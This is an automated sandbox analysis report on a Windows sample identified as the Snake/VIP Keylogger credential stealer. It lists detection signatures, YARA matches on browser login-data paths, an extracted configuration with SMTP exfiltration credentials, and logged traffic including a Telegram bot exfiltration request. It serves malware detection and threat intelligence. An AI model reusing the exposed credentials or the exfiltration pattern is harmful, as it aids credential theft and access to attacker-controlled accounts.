Edit tour

Windows Analysis Report
W2k2NLSvja.exe

Overview

General Information

Sample name:	W2k2NLSvja.exe renamed because original name is a hash value
Original sample name:	3C81CD20323C282181D40FA0E8AB7B66DFD46EDD7BAFC3D6ABEB072420B314FE.exe
Analysis ID:	1583667
MD5:	3e473d16c81dd66fee6f02537b601626
SHA1:	82f7667f0d8aecc63ce5fb9d86ec3d651223676d
SHA256:	3c81cd20323c282181d40fa0e8ab7b66dfd46edd7bafc3d6abeb072420b314fe
Tags:	exeuser-zhuzhu0009
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Yara detected Generic Downloader

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

W2k2NLSvja.exe (PID: 5700 cmdline: "C:\Users\user\Desktop\W2k2NLSvja.exe" MD5: 3E473D16C81DD66FEE6F02537B601626)

RegSvcs.exe (PID: 6504 cmdline: "C:\Users\user\Desktop\W2k2NLSvja.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "info@tradolgt.com", "Password": "445566nniI", "Host": "mail.tradolgt.com", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "info@tradolgt.com", "Password": "445566nniI", "Host": "mail.tradolgt.com", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d3f3:$a1: get_encryptedPassword 0x2d710:$a2: get_encryptedUsername 0x2d203:$a3: get_timePasswordChanged 0x2d30c:$a4: get_passwordField 0x2d409:$a5: set_encryptedPassword 0x2ea3b:$a7: get_logins 0x2e99e:$a10: KeyLoggerEventArgs 0x2e631:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b0a0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a743:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a9a0:$a4: \Orbitum\User Data\Default\Login Data 0x3b37f:$a5: \Kometa\User Data\Default\Login Data
00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2df99:$s1: UnHook 0x2dfa0:$s2: SetHook 0x2dfa8:$s3: CallNextHook 0x2dfb5:$s4: _hook
00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d1f3:$a1: get_encryptedPassword 0x2d510:$a2: get_encryptedUsername 0x2d003:$a3: get_timePasswordChanged 0x2d10c:$a4: get_passwordField 0x2d209:$a5: set_encryptedPassword 0x2e83b:$a7: get_logins 0x2e79e:$a10: KeyLoggerEventArgs 0x2e431:$a11: KeyLoggerEventArgsEventHandler
00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: W2k2NLSvja.exe PID: 5700	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: W2k2NLSvja.exe PID: 5700	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: W2k2NLSvja.exe PID: 5700	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: W2k2NLSvja.exe PID: 5700	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1684d6:$a1: get_encryptedPassword 0x1687e9:$a2: get_encryptedUsername 0x1682f0:$a3: get_timePasswordChanged 0x1683f9:$a4: get_passwordField 0x1684ec:$a5: set_encryptedPassword 0x16a8c4:$a7: get_logins 0x16a827:$a10: KeyLoggerEventArgs 0x16a4be:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 6504	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 6504	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: RegSvcs.exe PID: 6504	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 6504	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x76952:$a1: get_encryptedPassword 0x76c65:$a2: get_encryptedUsername 0x7676c:$a3: get_timePasswordChanged 0x76875:$a4: get_passwordField 0x76968:$a5: set_encryptedPassword 0x78d40:$a7: get_logins 0x78ca3:$a10: KeyLoggerEventArgs 0x7893a:$a11: KeyLoggerEventArgsEventHandler
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.W2k2NLSvja.exe.1580000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.W2k2NLSvja.exe.1580000.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.W2k2NLSvja.exe.1580000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.W2k2NLSvja.exe.1580000.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b5f3:$a1: get_encryptedPassword 0x2b910:$a2: get_encryptedUsername 0x2b403:$a3: get_timePasswordChanged 0x2b50c:$a4: get_passwordField 0x2b609:$a5: set_encryptedPassword 0x2cc3b:$a7: get_logins 0x2cb9e:$a10: KeyLoggerEventArgs 0x2c831:$a11: KeyLoggerEventArgsEventHandler
0.2.W2k2NLSvja.exe.1580000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x392a0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38943:$a3: \Google\Chrome\User Data\Default\Login Data 0x38ba0:$a4: \Orbitum\User Data\Default\Login Data 0x3957f:$a5: \Kometa\User Data\Default\Login Data
0.2.W2k2NLSvja.exe.1580000.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c199:$s1: UnHook 0x2c1a0:$s2: SetHook 0x2c1a8:$s3: CallNextHook 0x2c1b5:$s4: _hook
0.2.W2k2NLSvja.exe.1580000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.W2k2NLSvja.exe.1580000.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.W2k2NLSvja.exe.1580000.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.W2k2NLSvja.exe.1580000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.W2k2NLSvja.exe.1580000.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d3f3:$a1: get_encryptedPassword 0x2d710:$a2: get_encryptedUsername 0x2d203:$a3: get_timePasswordChanged 0x2d30c:$a4: get_passwordField 0x2d409:$a5: set_encryptedPassword 0x2ea3b:$a7: get_logins 0x2e99e:$a10: KeyLoggerEventArgs 0x2e631:$a11: KeyLoggerEventArgsEventHandler
2.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
2.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d3f3:$a1: get_encryptedPassword 0x2d710:$a2: get_encryptedUsername 0x2d203:$a3: get_timePasswordChanged 0x2d30c:$a4: get_passwordField 0x2d409:$a5: set_encryptedPassword 0x2ea3b:$a7: get_logins 0x2e99e:$a10: KeyLoggerEventArgs 0x2e631:$a11: KeyLoggerEventArgsEventHandler
2.2.RegSvcs.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b0a0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a743:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a9a0:$a4: \Orbitum\User Data\Default\Login Data 0x3b37f:$a5: \Kometa\User Data\Default\Login Data
2.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2df99:$s1: UnHook 0x2dfa0:$s2: SetHook 0x2dfa8:$s3: CallNextHook 0x2dfb5:$s4: _hook
0.2.W2k2NLSvja.exe.1580000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b0a0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a743:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a9a0:$a4: \Orbitum\User Data\Default\Login Data 0x3b37f:$a5: \Kometa\User Data\Default\Login Data
0.2.W2k2NLSvja.exe.1580000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2df99:$s1: UnHook 0x2dfa0:$s2: SetHook 0x2dfa8:$s3: CallNextHook 0x2dfb5:$s4: _hook
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 208.91.199.115, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, Initiated: true, ProcessId: 6504, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49727

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T09:49:01.998995+0100	2803305	3	Unknown Traffic	192.168.2.5	49706	188.114.97.3	443	TCP
2025-01-03T09:49:05.946265+0100	2803305	3	Unknown Traffic	192.168.2.5	49712	188.114.97.3	443	TCP
2025-01-03T09:49:07.288410+0100	2803305	3	Unknown Traffic	192.168.2.5	49714	188.114.97.3	443	TCP
2025-01-03T09:49:08.599276+0100	2803305	3	Unknown Traffic	192.168.2.5	49716	188.114.97.3	443	TCP
2025-01-03T09:49:09.976605+0100	2803305	3	Unknown Traffic	192.168.2.5	49718	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T09:49:00.541445+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49704	132.226.247.73	80	TCP
2025-01-03T09:49:01.447780+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49704	132.226.247.73	80	TCP
2025-01-03T09:49:02.744582+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49707	132.226.247.73	80	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T09:49:12.230937+0100	1810007	1	Potentially Bad Traffic	192.168.2.5	49721	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: W2k2NLSvja.exe	Avira: detected
Source: W2k2NLSvja.exe	Avira: detected
Source: W2k2NLSvja.exe	Avira: detected

Found malware configuration

Source: 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "info@tradolgt.com", "Password": "445566nniI", "Host": "mail.tradolgt.com", "Port": "587", "Version": "4.4"}
Source: 2.2.RegSvcs.exe.400000.0.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "info@tradolgt.com", "Password": "445566nniI", "Host": "mail.tradolgt.com", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: W2k2NLSvja.exe	Virustotal: Detection: 71%			Perma Link
Source: W2k2NLSvja.exe	ReversingLabs: Detection: 73%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: W2k2NLSvja.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: W2k2NLSvja.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49721 version: TLS 1.2

Source:	Binary string: wntdll.pdbUGP source: W2k2NLSvja.exe, 00000000.00000003.2035571464.0000000003F00000.00000004.00001000.00020000.00000000.sdmp, W2k2NLSvja.exe, 00000000.00000003.2034512449.0000000003D60000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: W2k2NLSvja.exe, 00000000.00000003.2035571464.0000000003F00000.00000004.00001000.00020000.00000000.sdmp, W2k2NLSvja.exe, 00000000.00000003.2034512449.0000000003D60000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FE4696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00FE4696
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FEC9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00FEC9C7
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FEC93C FindFirstFileW,FindClose,	0_2_00FEC93C
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FEF200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00FEF200
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FEF35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00FEF35D
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FEF65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00FEF65E
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FE3A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00FE3A2B
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FE3D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00FE3D4E
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FEBF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00FEBF27

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 018CF475h	2_2_018CF2D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 018CF475h	2_2_018CF545
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 018CF475h	2_2_018CF4C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 018CFC31h	2_2_018CF979

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.5:49721 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: global traffic

TCP traffic: 192.168.2.5:49727 -> 208.91.199.115:587

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:642294%0D%0ADate%20and%20Time:%2003/01/2025%20/%2015:43:58%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20642294%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49707 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49704 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49716 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49714 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49712 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49706 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49718 -> 188.114.97.3:443

Source: global traffic

TCP traffic: 192.168.2.5:49727 -> 208.91.199.115:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\W2k2NLSvja.exe

Code function: 0_2_00FF25E2 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00FF25E2

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:642294%0D%0ADate%20and%20Time:%2003/01/2025%20/%2015:43:58%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20642294%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
